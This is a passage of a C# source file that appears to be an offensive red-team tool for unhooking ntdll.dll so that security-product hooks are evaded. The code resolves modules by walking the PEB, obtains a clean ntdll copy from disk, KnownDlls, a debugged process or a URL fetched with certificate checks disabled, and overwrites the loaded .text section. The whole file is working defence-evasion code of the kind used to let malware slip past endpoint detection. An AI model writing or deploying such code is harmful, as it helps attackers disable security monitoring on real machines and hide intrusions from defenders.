143 | [MarshalAs(UnmanagedType.LPWStr)] public string Buffer;
144 | }
145 |
146 | [StructLayout(LayoutKind.Sequential)]
147 | public struct OBJECT_ATTRIBUTES
148 | {
149 | public uint Length;
150 | public IntPtr RootDirectory;
151 | public IntPtr ObjectName;
152 | public uint Attributes;
153 | public IntPtr SecurityDescriptor;
154 | public IntPtr SecurityQualityOfService;
155 | }
156 |
157 | [StructLayout(LayoutKind.Sequential)]
158 | public struct STARTUPINFO
159 | {
160 | public int cb;
161 | public IntPtr lpReserved;
162 | public IntPtr lpDesktop;
163 | public IntPtr lpTitle;
164 | public int dwX;
165 | public int dwY;
166 | public int dwXSize;
167 | public int dwYSize;
168 | public int dwXCountChars;
169 | public int dwYCountChars;
170 | public int dwFillAttribute;
171 | public int dwFlags;
172 | public short wShowWindow;
173 | public short cbReserved2;
174 | public IntPtr lpReserved2;
175 | public IntPtr hStdInput;
176 | public IntPtr hStdOutput;
177 | public IntPtr hStdError;
178 | }
179 |
180 | [StructLayout(LayoutKind.Sequential)]
181 | public struct PROCESS_INFORMATION
182 | {
183 | public IntPtr hProcess;
184 | public IntPtr hThread;
185 | public int dwProcessId;
186 | public int dwThreadId;
187 | }
188 |
189 | [StructLayout(LayoutKind.Sequential)]
190 | public struct OSVERSIONINFOEX
191 | {
192 | public int dwOSVersionInfoSize;
193 | public int dwMajorVersion;
194 | public int dwMinorVersion;
195 | public int dwBuildNumber;
196 | public int dwPlatformId;
197 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
198 | public string szCSDVersion;
199 | public short wServicePackMajor;
200 | public short wServicePackMinor;
201 | public short wSuiteMask;
202 | public byte wProductType;
203 | public byte wReserved;
204 | }
205 |
206 | [StructLayout(LayoutKind.Sequential)] public struct TOKEN_PRIVILEGES { public uint PrivilegeCount; public LUID Luid; public uint Attributes; }
207 |
208 | [StructLayout(LayoutKind.Sequential)] public struct LUID { public uint LowPart; public int HighPart; }
209 |
210 | [StructLayout(LayoutKind.Sequential)] public struct MEMORY_BASIC_INFORMATION { public IntPtr BaseAddress; public IntPtr AllocationBase; public int AllocationProtect; public IntPtr RegionSize; public int State; public int Protect; public int Type; }
211 |
212 |
213 | //////////////////// CONSTANTS ////////////////////
214 | public const uint GENERIC_READ = (uint)0x80000000; // https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/262970b7-cd4a-41f4-8c4d-5a27f0092aaa
215 | public const uint FILE_SHARE_READ = 0x00000001;
216 | public const uint OPEN_EXISTING = 3; // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea
217 | public const uint FILE_ATTRIBUTE_NORMAL = (uint)0x00000080; // https://learn.microsoft.com/es-es/windows/win32/fileio/file-attribute-constants
218 | public const uint PAGE_READONLY = 0x02; // https://learn.microsoft.com/es-es/windows/win32/memory/memory-protection-constants
219 | public const uint SEC_IMAGE_NO_EXECUTE = 0x11000000; // https://learn.microsoft.com/es-es/windows/win32/api/winbase/nf-winbase-createfilemappinga
220 | public const uint FILE_MAP_READ = 4; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win
221 | public const uint PAGE_EXECUTE_WRITECOPY = 0x80;
222 | public const uint OBJ_CASE_INSENSITIVE = 0x00000040;
223 | public const int SECTION_MAP_READ = 0x0004; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win
224 | public const uint DEBUG_PROCESS = 0x00000001;
225 | public const int offset_mappeddll = 4096;
226 | public const int offset_fromdiskdll = 0x400;
227 | public const uint TOKEN_ADJUST_PRIVILEGES = 0x00000020;
228 | public const uint TOKEN_QUERY = 0x00000008;
229 | public const uint MemoryBasicInformation = 0;
230 | public const int MEM_COMMIT = 0x00001000;
231 | public const int PAGE_NOACCESS = 0x01;
232 |
233 | // Custom Classes
234 | public class ModuleInformation
235 | {
236 | public string Name;
237 | public string FullPath;
238 | public IntPtr Address;
239 | public int Size;
240 | public ModuleInformation(string name, string fullpath, IntPtr address, int size)
241 | {
242 | this.Name = name;
243 | this.FullPath = fullpath;
244 | this.Address = address;
245 | this.Size = size;
246 | }
247 | }
248 |
249 |
250 | public class MemFile
251 | {
252 | public string filename;
253 | public byte[] content;
254 | public MemFile(string filename, byte[] content)
255 | {
256 | this.filename = filename;
257 | this.content = content;
258 | }
259 | }
260 |
261 |
262 | public unsafe static IntPtr CustomGetModuleHandle(String dll_name)
263 | {
264 | uint process_basic_information_size = 48;
265 | int peb_offset = 0x8;
266 | int ldr_offset = 0x18;
267 | int inInitializationOrderModuleList_offset = 0x30;
268 | int flink_dllbase_offset = 0x20;
269 | int flink_buffer_offset = 0x50;
270 |
271 | // Get current process handle
272 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
273 |
274 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
275 | byte[] pbi_byte_array = new byte[process_basic_information_size];
276 |
277 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array
278 | IntPtr pbi_addr = IntPtr.Zero;
279 | fixed (byte* p = pbi_byte_array)
280 | {
281 | pbi_addr = (IntPtr)p;
282 | NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out _);
283 | }
284 |
285 | // Get PEB Base Address
286 | IntPtr peb_pointer = pbi_addr + peb_offset;
287 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer);
288 |
289 | // Get Ldr
290 | IntPtr ldr_pointer = pebaddress + ldr_offset;
291 | IntPtr ldr_adress = Marshal.ReadIntPtr(ldr_pointer);
292 |
293 | // Get InInitializationOrderModuleList (LIST_ENTRY) inside _PEB_LDR_DATA struct
294 | IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset;
295 |
296 | IntPtr next_flink = Marshal.ReadIntPtr(InInitializationOrderModuleList);
297 | IntPtr dll_base = (IntPtr)1337;
298 | while (dll_base != IntPtr.Zero)
299 | {
300 | next_flink = next_flink - 0x10;
301 | // Get DLL base address
302 | dll_base = Marshal.ReadIntPtr(next_flink + flink_dllbase_offset);
303 | IntPtr buffer = Marshal.ReadIntPtr(next_flink + flink_buffer_offset);
304 |
305 | // Get DLL name from buffer address
306 | String char_aux = null;
307 | String base_dll_name = "";
308 | while (char_aux != "")
309 | {
310 | char_aux = Marshal.PtrToStringAnsi(buffer);
311 | buffer += 2;
312 | base_dll_name += char_aux;
313 | }
314 | next_flink = Marshal.ReadIntPtr(next_flink + 0x10);
315 |
316 | // Compare with DLL name we are searching
317 | if (dll_name.ToLower() == base_dll_name.ToLower())
318 | {
319 | return dll_base;
320 | }
321 | }
322 |
323 | return IntPtr.Zero;
324 | }
325 |
326 |
327 | // Map ntdl.dll from the file in disk and return view address
328 | public static IntPtr MapNtdllFromDisk(string ntdll_path)
329 | {
330 | IntPtr hFile = CreateFileA(ntdll_path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
331 |
332 | // CreateFileA
333 | if (hFile == IntPtr.Zero)
334 | {
335 | Console.WriteLine("[-] Error calling CreateFileA");
336 | Environment.Exit(0);
337 | }
338 |
339 | // CreateFileMappingA
340 | IntPtr hSection = CreateFileMappingA(hFile, 0, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, 0, 0, "");
341 | if (hSection == IntPtr.Zero)
342 | {
343 | Console.WriteLine("[-] Error calling CreateFileMappingA");
344 | Environment.Exit(0);
345 | }
346 |
347 | // MapViewOfFile
348 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
349 | if (pNtdllBuffer == IntPtr.Zero)
350 | {
351 | Console.WriteLine("[-] Error calling MapViewOfFile");
352 | Environment.Exit(0);
353 | }
354 |
355 | // CloseHandle
356 | bool createfile_ch = CloseHandle(hFile);
357 | bool createfilemapping_ch = CloseHandle(hSection);
358 | if (!createfile_ch || !createfilemapping_ch)
359 | {
360 | Console.WriteLine("[-] Error calling CloseHandle");
361 | Environment.Exit(0);
362 | }
363 | return pNtdllBuffer;
364 | }
365 |
366 |
367 | // Map ntdl.dll from the file in KnownDlls folder and return view address
368 | public static IntPtr MapNtdllFromKnownDlls()
369 | {
370 | // Initialize OBJECT_ATTRIBUTES struct
371 | string dll_name = "\\KnownDlls\\ntdll.dll";
372 |
373 | // If 32-bit process the path changes
374 | if (IntPtr.Size == 4)
375 | {
376 | dll_name = "\\KnownDlls32\\ntdll.dll";
377 | }
378 | OBJECT_ATTRIBUTES object_attribute = InitializeObjectAttributes(dll_name, OBJ_CASE_INSENSITIVE);
379 |
380 | // NtOpenSection
381 | IntPtr hSection = IntPtr.Zero;
382 | uint NtStatus = NtOpenSection(ref hSection, SECTION_MAP_READ, ref object_attribute);
383 | if (NtStatus != 0)
384 | {
385 | Console.WriteLine("[-] Error calling NtOpenSection. NTSTATUS: " + NtStatus.ToString("X"));
386 | Environment.Exit(0);
387 | }
388 |
389 | // MapViewOfFile
390 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, SECTION_MAP_READ, 0, 0, 0);
391 | if (pNtdllBuffer == IntPtr.Zero)
392 | {
393 | Console.WriteLine("[-] Error calling MapViewOfFile");
394 | Environment.Exit(0);
395 | }
396 |
397 | // CloseHandle
398 | bool createfilemapping_ch = CloseHandle(hSection);
399 | if (!createfilemapping_ch)
400 | {
401 | Console.WriteLine("[-] Error calling CloseHandle");
402 | Environment.Exit(0);
403 | }
404 |
405 | return pNtdllBuffer;
406 | }
407 |
408 |
409 | public static int[] GetTextSectionInfo(IntPtr ntdl_address)
410 | {
411 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
412 |
413 | // Check MZ Signature
414 | byte[] data = new byte[2];
415 | IntPtr signature_addr = ntdl_address;
416 | ReadProcessMemory(hProcess, signature_addr, data, data.Length, out _);
417 | string signature_dos_header = System.Text.Encoding.Default.GetString(data);
418 | if (signature_dos_header != "MZ")
419 | {
420 | Console.WriteLine("[-] Incorrect DOS header signature");
421 | Environment.Exit(0);
422 | }
423 |
424 | // e_lfanew in offset 0x3C in _IMAGE_DOS_HEADER structure, its size is 4 bytes
425 | data = new byte[4];
426 | IntPtr e_lfanew_addr = ntdl_address + 0x3C;
427 | ReadProcessMemory(hProcess, e_lfanew_addr, data, 4, out _);
428 | int e_lfanew = BitConverter.ToInt32(data, 0);
429 |
430 | // Check PE Signature
431 | IntPtr image_nt_headers_addr = ntdl_address + e_lfanew;
432 | data = new byte[2];
433 | ReadProcessMemory(hProcess, image_nt_headers_addr, data, data.Length, out _);
434 | string signature_nt_header = System.Text.Encoding.Default.GetString(data);
435 | if (signature_nt_header != "PE")
436 | {
437 | Console.WriteLine("[-] Incorrect NT header signature");
438 | Environment.Exit(0);
439 | }
440 |
441 | // Check Optional Headers Magic field value
442 | IntPtr optional_headers_addr = image_nt_headers_addr + 24; // Marshal.SizeOf(typeof(UInt32)) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) = 24
443 | data = new byte[4];
444 | ReadProcessMemory(hProcess, optional_headers_addr, data, data.Length, out _);
445 | int optional_header_magic = BitConverter.ToInt16(data, 0);
446 | if (optional_header_magic != 0x20B && optional_header_magic != 0x10B)
447 | {
448 | Console.WriteLine("[-] Incorrect Optional Header Magic field value");
449 | Environment.Exit(0);
450 | }
451 |
452 | // SizeOfCode
453 | IntPtr sizeofcode_addr = optional_headers_addr + 4; // Uint16 (2 bytes) + Byte (1 byte) + Byte (1 byte)
454 | data = new byte[4];
455 | ReadProcessMemory(hProcess, sizeofcode_addr, data, data.Length, out _);
456 | int sizeofcode = BitConverter.ToInt32(data, 0);
457 |
458 | // BaseOfCode
459 | IntPtr baseofcode_addr = optional_headers_addr + 20; // Uint16 (2 bytes) + 2 Byte (1 byte) + 4 Uint32 (4 byte) - public UInt16 Magic; public Byte MajorLinkerVersion; public Byte MinorLinkerVersion; public UInt32 SizeOfCode; public UInt32 SizeOfInitializedData; public UInt32 SizeOfUninitializedData; public UInt32 AddressOfEntryPoint; public UInt32 BaseOfCode;
460 | data = new byte[4];
461 | ReadProcessMemory(hProcess, baseofcode_addr, data, data.Length, out _);
462 | int baseofcode = BitConverter.ToInt32(data, 0);
463 |
464 | int[] result = { baseofcode, sizeofcode };
465 | return result;
466 | }
467 |
468 |
469 | // Create debug process, map its ntdl.dll .text section and copy it to a new buffer, return the buffer address
470 | public unsafe static IntPtr GetNtdllFromDebugProc(string process_path)
471 | {
472 | // CreateProcess in DEBUG mode
473 | STARTUPINFO si = new STARTUPINFO();
474 | si.cb = System.Runtime.InteropServices.Marshal.SizeOf(si);
475 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
476 | bool createprocess_res = CreateProcess(process_path, null, IntPtr.Zero, IntPtr.Zero, false, DEBUG_PROCESS, IntPtr.Zero, null, ref si, out pi);
477 | if (!createprocess_res)
478 | {
479 | Console.WriteLine("[-] Error calling CreateProcess");
480 | Environment.Exit(0);
481 | }
482 |
483 | // Ntdll .Text Section Address and Size from local process
484 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll");
485 | int[] result = GetTextSectionInfo(localNtdllHandle);
486 | int localNtdllTxtBase = result[0];
487 | int localNtdllTxtSize = result[1];
488 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase;
489 |
490 | // ReadProcessMemory to copy the bytes from ntdll.dll in the suspended process into a new buffer (ntdllBuffer)
491 | // debugged_process ntdll_handle = local ntdll_handle --> debugged_process .text section ntdll_handle = local .text section ntdll_handle
492 | byte[] ntdllBuffer = new byte[localNtdllTxtSize];
493 | uint readprocmem_res = ReadProcessMemory(pi.hProcess, localNtdllTxt, ntdllBuffer, ntdllBuffer.Length, out _);
494 | if (readprocmem_res == 0)
495 | {
496 | Console.WriteLine("[-] Error calling ReadProcessMemory");
497 | Environment.Exit(0);
498 | }
499 |
500 | // Get pointer to the buffer containing ntdll.dll
501 | IntPtr pNtdllBuffer = IntPtr.Zero;
502 | fixed (byte* p = ntdllBuffer)
503 | {
504 | pNtdllBuffer = (IntPtr)p;
505 | }
506 |
507 | // Terminate and close handles in debug process
508 | bool debugstop_res = DebugActiveProcessStop(pi.dwProcessId);
509 | bool terminateproc_res = TerminateProcess(pi.hProcess, 0);
510 | if (debugstop_res == false || terminateproc_res == false)
511 | {
512 | Console.WriteLine("[-] Error calling DebugActiveProcessStop or TerminateProcess");
513 | Environment.Exit(0);
514 | }
515 | bool closehandle_proc = CloseHandle(pi.hProcess);
516 | bool closehandle_thread = CloseHandle(pi.hThread);
517 | if (!closehandle_proc || !closehandle_thread)
518 | {
519 | Console.WriteLine("[-] Error calling CloseHandle");
520 | Environment.Exit(0);
521 | }
522 |
523 | return pNtdllBuffer;
524 | }
525 |
526 |
527 | // Overwrite hooked ntdll .text section with a clean version
528 | static void ReplaceNtdllTxtSection(IntPtr unhookedNtdllTxt, IntPtr localNtdllTxt, int localNtdllTxtSize)
529 | {
530 | // VirtualProtect to PAGE_EXECUTE_WRITECOPY
531 | uint dwOldProtection;
532 | bool vp1_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, out dwOldProtection);
533 | if (!vp1_res)
534 | {
535 | Console.WriteLine("[-] Error calling VirtualProtect (PAGE_EXECUTE_WRITECOPY)");
536 | Environment.Exit(0);
537 | }
538 |
539 | // Copy from one address to the other
540 | unsafe
541 | {
542 | Buffer.MemoryCopy((void*)unhookedNtdllTxt, (void*)localNtdllTxt, localNtdllTxtSize, localNtdllTxtSize);
543 | }
544 |
545 | // VirtualProtect back to PAGE_EXECUTE_READ
546 | bool vp2_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, dwOldProtection, out dwOldProtection);
547 | if (!vp2_res)
548 | {
549 | Console.WriteLine("[-] Error calling VirtualProtect (dwOldProtection)");
550 | Environment.Exit(0);
551 | }
552 | }
553 |
554 |
555 | public unsafe static IntPtr GetNtdllFromFromUrl(string dll_url)
556 | {
557 | Console.WriteLine("[+] Getting payload from url: " + dll_url);
558 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
559 | System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12;
560 | byte[] buf;
561 | using (System.Net.WebClient myWebClient = new System.Net.WebClient())
562 | {
563 | try
564 | {
565 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
566 | buf = myWebClient.DownloadData(dll_url);
567 | fixed (byte* p = buf)
568 | {
569 | IntPtr ptr = (IntPtr)p;
570 | return ptr;
571 | }
572 | }
573 | catch (Exception ex)
574 | {
575 | Console.WriteLine(ex.ToString());
576 | Environment.Exit(0);
577 | }
578 | }
579 | return IntPtr.Zero;
580 | }
581 |
582 |
583 | public static void ReplaceLibrary(string option, string wildcard_field)
584 | {
585 | // Clean DLL
586 | IntPtr unhookedNtdllTxt = IntPtr.Zero;
587 | switch (option)
588 | {
589 | // From file in disk
590 | case "disk":
591 | if (wildcard_field == "") {
592 | wildcard_field = "C:\\Windows\\System32\\ntdll.dll";
593 | }
594 | IntPtr unhookedNtdllHandle = MapNtdllFromDisk(wildcard_field);
595 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll;
596 | break;
597 |
598 | // From KnownDlls folder
599 | case "knowndlls":
600 | unhookedNtdllHandle = MapNtdllFromKnownDlls();
601 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll;
602 | break;
603 |
604 | // From a process created in DEBUG mode
605 | case "debugproc":
606 | if (wildcard_field == "")
607 | {
608 | wildcard_field = "c:\\windows\\system32\\calc.exe";
609 | }
610 | unhookedNtdllTxt = GetNtdllFromDebugProc(wildcard_field);
611 | break;
612 |
613 | // From a process created in DEBUG mode
614 | case "download":
615 | if (wildcard_field == "")
616 | {
617 | wildcard_field = "http://127.0.0.1/ntdll.dll";
618 | }
619 | unhookedNtdllHandle = GetNtdllFromFromUrl(wildcard_field);
620 | unhookedNtdllTxt = unhookedNtdllHandle + offset_fromdiskdll;
621 | break;
622 |
623 | // Default: Show usage message
624 | default:
625 | return;
626 | }
627 |
628 | // Local DLL
629 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll");
630 | int[] result = GetTextSectionInfo(localNtdllHandle);
631 | int localNtdllTxtBase = result[0];
632 | int localNtdllTxtSize = result[1];
633 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase;
634 |
635 | // Replace DLL
636 | Console.WriteLine("[+] Copying " + localNtdllTxtSize + " bytes from 0x" + unhookedNtdllTxt.ToString("X") + " to 0x" + localNtdllTxt.ToString("X"));
637 | ReplaceNtdllTxtSection(unhookedNtdllTxt, localNtdllTxt, localNtdllTxtSize);
638 | }
639 | }
640 | }
641 |
--------------------------------------------------------------------------------